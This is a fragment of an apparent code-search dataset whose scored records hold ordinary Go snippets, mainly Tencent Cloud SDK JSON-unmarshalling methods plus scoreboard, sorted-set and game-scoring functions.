"docid": "0bad98ce48c98f6431aca0c61706f351", "score": "0.56292635", "text": "func (r *DeleteKeyPairsResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "2d30955918582e465842d89dc10309cf", "score": "0.562466", "text": "func (r *CreateVulScanTaskResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "eec76e0123aea27b8b9b776ec1e3afc6", "score": "0.5623368", "text": "func DecodeFromJson(jsonString string) Block{\n\tvar block Block;\n\t_ = json.Unmarshal([]byte(jsonString), &block);\n\treturn block;\n}", "title": "" }, { "docid": "a688503174bd6ce023159bce861c017a", "score": "0.5622064", "text": "func (r *TextModerationRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"Content\")\n\tdelete(f, \"BizType\")\n\tdelete(f, \"DataId\")\n\tdelete(f, \"User\")\n\tdelete(f, \"Device\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"TextModerationRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "2f8c32d3ac4a6319aa5a061b3e239e95", "score": "0.56210005", "text": "func (r *GetLivenessResultRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"SdkToken\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"GetLivenessResultRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "e6e3012b2897bef0dd9add6890bea6cc", "score": "0.56192523", "text": "func (r *DescribeVulTopRankingResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "34188cfed2bb39af5dcb25eb8afd4265", "score": "0.5617727", "text": "func (r *DescribeAssetDBServiceListResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "6864ec406cd4de1c74daa82d117b7d12", "score": "0.5617195", "text": "func ConvertToJsonStr(in interface{}) (string, error) {\n\tjsonByte, err := jsoniter.Marshal(in)\n\tif err != nil {\n\t\tlog.Warn(fmt.Sprintf(\"Marshal with error: %+v\\n\", err))\n\t\treturn \"\", nil\n\t}\n\treturn string(jsonByte), nil\n}", "title": "" }, { "docid": "bf20f462296822b8531968ee3c5906a6", "score": "0.5616452", "text": "func (r *OpenTcssTrialResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "de3816520018a594c2ce38241e22c1a2", "score": "0.56149447", "text": "func (r *DescribeLocalGatewayResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "97f1769d6fbf59ffad49ebaa6324ecd9", "score": "0.5612076", "text": "func (r *AdjustPublicAddressResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "a49177a699c4378ca22979b33d96b715", "score": "0.56118274", "text": "func (r *CreateEnvironmentResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "9d130745209d0d2aca17e12031140ca0", "score": "0.56090754", "text": "func (r *DescribeValueAddedSrvInfoRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\t\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeValueAddedSrvInfoRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "6d910feed326e2a0c1f856b1c5eced82", "score": "0.5606191", "text": "func (r *DescribeComplianceWhitelistItemListRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"Offset\")\n\tdelete(f, \"Limit\")\n\tdelete(f, \"AssetTypeSet\")\n\tdelete(f, \"Filters\")\n\tdelete(f, \"By\")\n\tdelete(f, \"Order\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeComplianceWhitelistItemListRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "816a952edd3a2600b71740c1ca97e14d", "score": "0.5605322", "text": "func (r *DescribeEscapeSafeStateResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "f4f060294bc409b3cf1972141f4e3945", "score": "0.5603193", "text": "func (r *SendRocketMQMessageResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "66a51b7d3c012046f03391779d029718", "score": "0.56029606", "text": "func (r *CreateNetDetectRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"VpcId\")\n\tdelete(f, \"SubnetId\")\n\tdelete(f, \"NetDetectName\")\n\tdelete(f, \"DetectDestinationIp\")\n\tdelete(f, \"NextHopType\")\n\tdelete(f, \"NextHopDestination\")\n\tdelete(f, \"NetDetectDescription\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"CreateNetDetectRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "212922dbb49c1e199c17e6b5446c7290", "score": "0.56008", "text": "func (r *ModifyStreamLiveWatermarkResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "508d0eb9b7dbf6c8c980b3e2668c184b", "score": "0.55990815", "text": "func (r *CreateBlueprintResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "b50497bb21bc442a5ac7f818813e8de2", "score": "0.5598935", "text": "func (r *DescribeNetDetectStatesResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "69c831bd6acfae40c19722d41df5064e", "score": "0.5597105", "text": "func (r *DescribeVirusTaskListResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "62533e1728f3a158064a67b7d39c986e", "score": "0.55968547", "text": "func (r *CreateRefreshTaskResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "d53a203b24b07bf578ce13607757372f", "score": "0.5593886", "text": "func (r *DescribeVulTendencyResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "efa572708d734689e7cfa1863d5ff630", "score": "0.55873567", "text": "func (r *CreateCheckComponentResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "61a7f4c5c1dcfe50f285be9cee09c946", "score": "0.55862844", "text": "func (r *ModifyAddressInternetChargeTypeResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "3da1051dcda57f106a640a9ea0cfcba8", "score": "0.55815077", "text": "func (r *CreateStreamLiveWatermarkResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "e3bfc8cb5f1cbb535a4e7fc2eae38739", "score": "0.55813724", "text": "func (r *ModifyEscapeWhiteListResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "d37f30262fd8dd2a23acf49f750fc066", "score": "0.55804735", "text": "func (r *DescribeUsedIpAddressResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "bc71a165a4b29ccc256a6804ef121a38", "score": "0.55766505", "text": "func (r *ModifyDnssecResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "f51da27474069c51528bfa59bc8b7be1", "score": "0.55759984", "text": "func (r *DescribeKeyPairsResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "206a3e4a12f6763c596c09e5479ebe83", "score": "0.55752087", "text": "func (r *DescribeVirusListRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"Limit\")\n\tdelete(f, \"Offset\")\n\tdelete(f, \"Filters\")\n\tdelete(f, \"Order\")\n\tdelete(f, \"By\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeVirusListRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "2dbafac76cba42085f29dd6521c22734", "score": "0.55750924", "text": "func (r *ReceiveMessageResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "e764dd9072a3c5c44b3a021d10cc7880", "score": "0.55700016", "text": "func (r *DescribeAssetWebServiceListResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "83d8b1e1bb618a6a65903ae4015c28ae", "score": "0.5569311", "text": "func (r *ModifyLocalGatewayRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"LocalGatewayName\")\n\tdelete(f, \"CdcId\")\n\tdelete(f, \"LocalGatewayId\")\n\tdelete(f, \"VpcId\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"ModifyLocalGatewayRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "a930e521df90f34a9e6e57ffcfebb0bf", "score": "0.55672544", "text": "func (r *DescribeRiskListResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "77e2d005af3b018c4b3549a2ae9d8c4e", "score": "0.5562906", "text": "func (r *DescribeVirusListResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "e722c502314a55ffa95d04e280d8f5b3", "score": "0.55616564", "text": "func (r *DescribeLocalGatewayRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"Filters\")\n\tdelete(f, \"Offset\")\n\tdelete(f, \"Limit\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeLocalGatewayRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "7ea56b94f0100df2ebad09d6090dc063", "score": "0.5559042", "text": "func (r *InquirePriceCreateBlueprintResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" } ]
91b8d5845feb224f155b45bb88f7405f
/ Post : compares the given entry's score to others in the scoreboard. Returns false if the score is too low and the board is already full. Returns true if the entry is successfull added.
[ { "docid": "6c4bd27690d68a7fd015b53334a045b8", "score": "0.8392575", "text": "func (s *Scoreboard) Post(entry *Entry) bool {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\tif s.MaxEntries == 0 {\n\t\treturn false\n\t}\n\tif len(s.Entries) < s.MaxEntries {\n\t\ts.Entries = append(s.Entries, entry)\n\t\tsort.Stable(byScore{s.Entries})\n\t\treturn true\n\t}\n\tincomingScore := entry.Score\n\tlowestScore := s.lowestEntry().Score\n\tif incomingScore.Compare(lowestScore) > 0 {\n\t\ts.insert(entry)\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" } ]
[ { "docid": "51f87b7f4d3e90e318a28ec2bec9b232", "score": "0.5994737", "text": "func (s *Scoreboard) insert(e *Entry) {\n\tindex := len(s.Entries) - 1\n\ts.Entries[index] = e\n\tsort.Stable(byScore{s.Entries})\n}", "title": "" }, { "docid": "6a03119223b4bc0acc4c1f6a09e71957", "score": "0.5865423", "text": "func (s postsByScore) Less(a, b int) bool {\n\treturn s[a].Score > s[b].Score\n}", "title": "" }, { "docid": "32e404257ff3e3f805ed9a5cc343763a", "score": "0.56450933", "text": "func (s byScore) Less(i, j int) bool {\n\ta := s.entries[i].Score\n\tb := s.entries[j].Score\n\treturn a.Compare(b) > 0\n}", "title": "" }, { "docid": "f26cb9a90117ce80c259d8ccd3f43ea8", "score": "0.5642128", "text": "func (a byScore) Less(i, j int) bool { return a[i].score >= a[j].score }", "title": "" }, { "docid": "f069a7b953c7829b8c6e7024960e31fc", "score": "0.55370617", "text": "func (s *SortedSet) Add(scoreMembers ...[]byte) (int, error) {\n\tcount := len(scoreMembers)\n\tif count < 2 || count%2 != 0 {\n\t\treturn 0, errors.New(\"invalid score/member pairs\")\n\t}\n\tadded := 0\n\terr := s.bucket.Update(func(b *bolt.Bucket) error {\n\t\tfor i := 0; i < count; i += 2 {\n\t\t\tscore, member := scoreMembers[i], scoreMembers[i+1]\n\t\t\tskey, mkey := s.scoreKey(score, member), s.memberKey(member)\n\t\t\toldscore := b.Get(mkey)\n\t\t\t// remove old score key\n\t\t\tif oldscore != nil {\n\t\t\t\toldskey := s.scoreKey(oldscore, member)\n\t\t\t\tif err := b.Delete(oldskey); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tadded++\n\t\t\t}\n\t\t\tb.Put(mkey, score)\n\t\t\tb.Put(skey, nil)\n\t\t}\n\t\tb.Put(s.rawKey(), nil)\n\t\treturn nil\n\t})\n\treturn added, err\n}", "title": "" }, { "docid": "a9dea5bd17e8b07629011599cb23c68f", "score": "0.5522211", "text": "func AddScore(ctx context.Context, client *firestore.Client, d ScoreData) (string, error) {\n\tvar oldD ScoreData\n\titer := client.Collection(\"leaderboard\").Query.Limit(1).Where(\"name\", \"==\", d.Name).Documents(ctx)\n\tdoc, err := iter.Next()\n\tif err != iterator.Done && err != nil {\n\t\treturn \"\", fmt.Errorf(\"iter.Next: %w\", err)\n\t}\n\tif err != iterator.Done {\n\t\tif err = doc.DataTo(&oldD); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"doc.DataTo: %w\", err)\n\t\t}\n\t}\n\ts := \"\"\n\tif oldD.Coins < d.Coins {\n\t\ts = \"pb\"\n\t\t_, err := client.Collection(\"leaderboard\").Doc(d.Name).Set(ctx, map[string]interface{}{\n\t\t\t\"name\": d.Name,\n\t\t\t\"team\": d.Team,\n\t\t\t\"coins\": d.Coins,\n\t\t\t\"distance\": d.Distance,\n\t\t\t\"combo\": d.Combo,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"Doc(%v).Set: %w\", d.Name, err)\n\t\t}\n\t}\n\treturn s, nil\n}", "title": "" }, { "docid": "6339b70ca2ad9fef737ce90265f44cd6", "score": "0.54545414", "text": "func (l *SortedList) Insert(score interface{}, value interface{}) bool {\n\tif value == nil {\n\t\treturn false\n\t}\n\tnode := &Node{\n\t\tscore: score,\n\t\tvalue: value,\n\t}\n\tif l.length == 0 {\n\t\tnode.next = l.head.next\n\t\tnode.prev = l.head\n\t\tl.head.next.prev = node\n\t\tl.head.next = node\n\t\tl.length = 1\n\t\treturn true\n\t}\n\tcur := l.rear.prev\n\tif l.ascend {\n\t\tfor l.less(score, cur.score) {\n\t\t\tcur = cur.prev\n\t\t\tif cur == l.head {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor l.less(cur.score, score) {\n\t\t\tcur = cur.prev\n\t\t\tif cur == l.head {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tnext := cur.next\n\tnode.next = next\n\tnode.prev = cur\n\tnext.prev = node\n\tcur.next = node\n\tl.length++\n\treturn true\n}", "title": "" }, { "docid": "96d9fbd095fb3cb049a3d95686cbc9c0", "score": "0.5391978", "text": "func insertScore(scores *list.List, length int, s score) {\n\t// Loop through the scores\n\tfor e := scores.Front(); e != nil; e = e.Next() {\n\t\tif e == scores.Back() {\n\t\t\tscores.InsertAfter(s, e)\n\t\t\tbreak\n\t\t}\n\t\tv, ok := e.Value.(score)\n\t\tif !ok {\n\t\t\tlog.Fatal(\"Could not extract score from sorted list\")\n\t\t}\n\t\tif s.score > v.score {\n\t\t\tscores.InsertBefore(s, e)\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Remove the last entry if the list is too long\n\tif scores.Len() > length {\n\t\tscores.Remove(scores.Back())\n\t}\n}", "title": "" }, { "docid": "18a8080734641a90bd78e0dde8a3fb4d", "score": "0.53329724", "text": "func addIfHigh(scores *list.List, length int, storyid int64, k float64) {\n\n\ts := score{storyid: storyid, score: k}\n\n\t// Add the score if the list is empty\n\tlast := scores.Back()\n\tif last == nil {\n\t\tscores.PushBack(s)\n\t\treturn\n\t}\n\n\tif scores.Len() < length {\n\t\tinsertScore(scores, length, s)\n\t\treturn\n\t}\n\n\t// Add the score to the list if it is high enough\n\tlowest, ok := last.Value.(score)\n\tif !ok {\n\t\tlog.Fatal(\"Could not extract score from sorted list\")\n\t}\n\n\tif k < lowest.score {\n\t\treturn\n\t}\n\n\t// If this point is reached, we insert the score\n\tinsertScore(scores, length, s)\n}", "title": "" }, { "docid": "a6fbd506d1580aeba2d2e67b1b82c037", "score": "0.53253174", "text": "func (s *Scorecard) Add(ts TestScore) {\n\tif existingScores, ok := s.Scores[ts.resourceRefKey()]; ok {\n\t\texistingScores = append(existingScores, ts)\n\t\ts.Scores[ts.resourceRefKey()] = existingScores\n\t} else {\n\t\ts.Scores[ts.resourceRefKey()] = []TestScore{ts}\n\t}\n}", "title": "" }, { "docid": "df90ad21dca1443238eb5e514f096be8", "score": "0.51957613", "text": "func (ib *ImageBuilder) MakesScore() bool {\n return ib.height > 0\n}", "title": "" }, { "docid": "f94ed0139a5bb74c04844ac9bef84add", "score": "0.51488715", "text": "func (m *Match) Commit(scores [][]int, shots []bool) {\n\tfor i, score := range scores {\n\t\tups := score[0]\n\t\tdowns := score[1]\n\n\t\t// If the score is 3, then this player killed everyone else.\n\t\t// Count that as a sweep.\n\t\tif ups == 3 {\n\t\t\tm.Players[i].AddSweep()\n\n\t\t\t// If we have a sweep and a down, we need to redact the\n\t\t\t// extra shot, because no player should get more than\n\t\t\t// one shot per round. Removing one from here makes\n\t\t\t// sure that the `downs` calculation below still adds\n\t\t\t// the one.\n\t\t\tif downs == 1 {\n\t\t\t\tm.Players[i].RemoveShot()\n\t\t\t}\n\t\t} else if ups > 0 {\n\t\t\tm.Players[i].AddKill(ups)\n\t\t}\n\n\t\tif downs != 0 {\n\t\t\tm.Players[i].AddSelf()\n\t\t}\n\t}\n\n\tfor i, shot := range shots {\n\t\tif shot {\n\t\t\tm.Players[i].AddShot()\n\t\t}\n\t}\n\n\t_ = m.Tournament.Persist()\n}", "title": "" }, { "docid": "486c7e5fcfc5962e9cc8be84e72ab34d", "score": "0.51056314", "text": "func (analyser *Analyser) updateScore(newTscore, newCTscore int, eventType string) bool {\n\tif newTscore < 0 || newCTscore < 0 {\n\t\treturn false\n\t}\n\t// we are getting new round number smaller than swap round, so need to swap back\n\tnewRoundPlayed := newTscore + newCTscore\n\toldTScore := analyser.tScore\n\toldCTScore := analyser.ctScore\n\n\t// we are directly emitting all kind of score update event\n\t// without checking, because it usually leafds to correct score\n\t// updates\n\n\t// // if there is incorrect update for round end return false\n\t// if eventType != \"scoreUpdate\" && !(utils.Abs(newTscore-oldTScore) < 2 && utils.Abs(newCTscore-oldCTScore) < 2) {\n\t// \tlog.WithFields(log.Fields{\n\t// \t\t\"new t\": newTscore,\n\t// \t\t\"old t\": oldTScore,\n\t// \t\t\"new ct\": newCTscore,\n\t// \t\t\"old ct\": oldCTScore,\n\t// \t\t\"event_type\": eventType,\n\t// \t}).Error(\"Invalid score update\")\n\t//\n\t// \treturn false\n\t// }\n\n\tanalyser.tScore = newTscore\n\tanalyser.ctScore = newCTscore\n\tanalyser.roundPlayed = newRoundPlayed\n\n\tanalyser.log.WithFields(logging.Fields{\n\t\t\"new t\": newTscore,\n\t\t\"old t\": oldTScore,\n\t\t\"new ct\": newCTscore,\n\t\t\"old ct\": oldCTScore,\n\t\t\"event_type\": eventType,\n\t}).Info(\"Score has been updated\")\n\n\treturn true\n\n}", "title": "" }, { "docid": "379ff011b289d025178f5aa0f00241fb", "score": "0.5061556", "text": "func (d *Driver) CreateOrUpdateScore(score Score) error {\n\tcoll, err := d.Connect()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar res Score\n\terr = coll.Find(bson.M{\"name\": score.Name}).One(&res)\n\tif err != nil {\n\t\tcoll.Insert(score)\n\t} else {\n\t\tif res.Value < score.Value {\n\t\t\tcoll.Update(res, score)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1324cae5c27e56aaa032726afb55b0f8", "score": "0.5002311", "text": "func (game *Game) AddScore(id uuid.UUID) {\n\tgame.Score[id]++\n}", "title": "" }, { "docid": "6d568b67c196211bf0253f164b11b8d9", "score": "0.49567533", "text": "func (b *Board) SetScore() {\n\tb.Score = 0\n\n\tfor _, wp := range b.WhitePieces {\n\t\tif !wp.IsTaken() {\n\t\t\tb.Score -= wp.GetValue()\n\t\t}\n\t}\n\n\tfor _, bp := range b.BlackPieces {\n\t\tif !bp.IsTaken() {\n\t\t\tb.Score += bp.GetValue()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "89cba83f2dcba89a8a6a712fdfb52cda", "score": "0.49248412", "text": "func (checkData *CheckData) UpdateScore() int64 {\n\tcheckData.Score = scores[checkData.State]\n\tfor _, metricData := range checkData.Metrics {\n\t\tcheckData.Score += scores[metricData.State]\n\t}\n\treturn checkData.Score\n}", "title": "" }, { "docid": "1fe3fb04f58a8d2b20df40ac26bd97f3", "score": "0.4907867", "text": "func (l *SortedList) ContainScore(score interface{}) bool {\n\tif l.length == 0 {\n\t\treturn false\n\t}\n\tcur := l.head.next\n\tfor cur != l.rear {\n\t\tif cur.score == score {\n\t\t\treturn true\n\t\t}\n\t\tcur = cur.next\n\t}\n\treturn false\n}", "title": "" }, { "docid": "537a77cd05dfa1595e747cb46db9f36d", "score": "0.48995456", "text": "func (b Board) scoreBoard(tilesServed []Tile) *Score {\n\tboardSet := b.setOfAllTiles()\n\tfmt.Println(\"Tiles received:\", boardSet)\n\tfmt.Println(\"Tiles served:\", tilesServed)\n\tresult := &Score{\n\t\tWin: true,\n\t\tmsg: msg.Score,\n\t}\n\n\t// Calculate score if board is empty.\n\tmaxPts := 0\n\tfor _, elt := range tilesServed {\n\t\tmaxPts += elt.Points\n\t}\n\n\t// Find the best scoring component.\n\tbest := boardSet.extractScorable()\n\tresult.Pts = maxPts - best.score()\n\tresult.Invalid = best.invalid\n\tresult.Valid = best.valid\n\tresult.Unconnected = best.unconnected\n\tresult.Words = best.words\n\tresult.Nonwords = best.nonwords\n\n\t// A winning board has a score of 0.\n\tif result.Pts != 0 {\n\t\tresult.Win = false\n\t\tresult.msg = msg.Invalid\n\t\tif result.Pts < 0 {\n\t\t\tlog.Println(\"Impossible score: cheating suspected!\")\n\t\t\tresult.msg = msg.Error\n\t\t\tresult.Pts = maxPts\n\t\t}\n\t}\n\t// A winning board must contain all the tiles served and no more.\n\tif len(boardSet) != len(tilesServed) {\n\t\tresult.Win = false\n\t\tif len(boardSet) > len(tilesServed) {\n\t\t\tlog.Println(\"Impossible number of tiles: cheating suspected!\")\n\t\t\tresult.msg = msg.Error\n\t\t\tresult.Pts = maxPts\n\t\t\treturn result\n\t\t}\n\t}\n\t// A winning board must contain exactly the tiles served.\n\tif !compareTileValues(tilesServed, boardSet) {\n\t\tresult.Win = false\n\t\tlog.Println(\"Impossibly mismatched tiles: cheating suspected!\")\n\t\tresult.msg = msg.Error\n\t\tresult.Pts = maxPts\n\t\treturn result\n\t}\n\tfmt.Println(result)\n\treturn result\n}", "title": "" }, { "docid": "47b10eb8b6a8894d0cd4115981f260b5", "score": "0.48941156", "text": "func scoreCheck() {\n\tfor i := 0; i < len(score); i++ {\n\t\tif score[i] > 30 || score[i] < 0 {\n\t\t\tfmt.Println(\"incorrect score submitted (out of range):\", score[i])\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7d36363eb8845817bc1497d8f60446c1", "score": "0.48285857", "text": "func (h *hashMap) putEntry(tableIdx int, en Entry) bool {\n\tstatus := h.tables[tableIdx].put(en)\n\n\tif status == entryAdd {\n\t\th.entryCnt++\n\t}\n\n\tif status == entryErr {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "89ee6c52b8579e9c06b3e17887b73573", "score": "0.4816216", "text": "func (sortedSet *SortedSet) Add(member string, score int64, value interface{}) {\n\telement, exist := sortedSet.dict.Load(member)\n\tsortedSet.dict.Store(member, &Element{\n\t\t//Member: member,\n\t\tScore: score,\n\t\tValue: value,\n\t})\n\tif !exist {\n\t\tatomic.AddInt64(&sortedSet.elementCount, 1)\n\t\t//log.Println(\"count after add\", sortedSet.elementCount)\n\t\tfc := func() {\n\t\t\tsortedSet.skiplist.insert(member, score)\n\t\t}\n\t\tsortedSet.slChannel <- fc\n\t} else {\n\t\telementScore := element.(*Element).Score\n\t\tif score != elementScore {\n\t\t\tfc := func() {\n\t\t\t\tsortedSet.skiplist.remove(member, elementScore)\n\t\t\t\tsortedSet.skiplist.insert(member, score)\n\t\t\t}\n\t\t\tsortedSet.slChannel <- fc\n\t\t}\n\t\t//log.Println(\"count after cover\",sortedSet.elementCount)\n\t}\n}", "title": "" }, { "docid": "fd474846d9f9ac2a9c04a849ad85fc30", "score": "0.48036376", "text": "func gameScore(field [][]Cell, i int, j int, b float64) float64 {\n\tvar self string = field[i][j].kind\n\tvar oneScore float64 = 0\n\n\t// Check if the cell's neighbor is in the field and calculate the score\n\tif inField(field, i-1, j-1) == true {\n\t\tvar other string = field[i-1][j-1].kind\n\t\toneScore = oneScore + gameBetween(self, other, b) \n\t}\n\tif inField(field, i-1, j) == true {\n\t\tvar other string = field[i-1][j].kind\n\t\toneScore = oneScore + gameBetween(self, other, b)\n\t}\n\tif inField(field, i-1, j+1) == true {\n\t\tvar other string = field[i-1][j+1].kind\n\t\toneScore = oneScore + gameBetween(self, other, b) \n\t}\n\tif inField(field, i, j-1) == true {\n\t\tvar other string = field[i][j-1].kind\n\t\toneScore = oneScore + gameBetween(self, other, b) \n\t}\n\tif inField(field, i, j) == true {\n\t\tvar other string = field[i][j].kind\n\t\toneScore = oneScore + gameBetween(self, other, b) \n\t}\n\tif inField(field, i, j+1) == true {\n\t\tvar other string = field[i][j+1].kind\n\t\toneScore = oneScore + gameBetween(self, other, b) \n\t}\n\tif inField(field, i+1, j-1) == true {\n\t\tvar other string = field[i+1][j-1].kind\n\t\toneScore = oneScore + gameBetween(self, other, b) \n\t}\n\tif inField(field, i+1, j) == true {\n\t\tvar other string = field[i+1][j].kind\n\t\toneScore = oneScore + gameBetween(self, other, b) \n\t}\n\tif inField(field, i+1, j+1) == true {\n\t\tvar other string = field[i+1][j+1].kind\n\t\toneScore = oneScore + gameBetween(self, other, b) \n\t}\n\treturn oneScore\n\n}", "title": "" }, { "docid": "49330d4e694904d9e53efba9d8a9b0a5", "score": "0.47864112", "text": "func (m *UserFortuneManager) ConsumeScore(userId string, score int) bool {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\tfortune := m.fortune[userId]\n\tif fortune == nil {\n\t\treturn false\n\t}\n\n\tif fortune.Score < score {\n\t\treturn false\n\t}\n\n\tfortune.Score -= score\n\n\treturn true\n}", "title": "" }, { "docid": "4b48a0ffa998b557c44efd7cd8b35815", "score": "0.47654888", "text": "func (this *RandomizedCollection) Insert(val int) bool {\n this.array = append(this.array, val)\n if _, ok := this.m[val]; !ok { this.m[val] = make(map[int]bool) }\n this.m[val][len(this.array)-1] = true\n return len(this.m[val]) == 1\n}", "title": "" }, { "docid": "a4ef5bd85719aa1128b22ab82eba1c01", "score": "0.47521746", "text": "func ChangeScore(id, oldscore, newscore int32) bool {\n\t_lock_ranklist.Lock()\n\tdefer _lock_ranklist.Unlock()\n\n\tvar tmplist []interface{}\n\tdefer func() {\n\t\tfor i := range tmplist {\n\t\t\t_ranklist.Insert(int(oldscore), tmplist[i])\n\t\t}\n\t}()\n\n\tfor {\n\t\tn, _ := _ranklist.ByScore(int(oldscore))\n\n\t\tif n == nil {\n\t\t\treturn false\n\t\t}\n\n\t\tif n.Data().(int32) == id {\n\t\t\t_ranklist.DeleteNode(n)\n\t\t\t_ranklist.Insert(int(newscore), id)\n\t\t\t_id_score[id] = newscore\n\t\t\treturn true\n\t\t} else {\n\t\t\t// temporary delete \n\t\t\t_ranklist.DeleteNode(n)\n\t\t\ttmplist = append(tmplist, n.Data())\n\t\t}\n\t}\n\n\treturn true\n}", 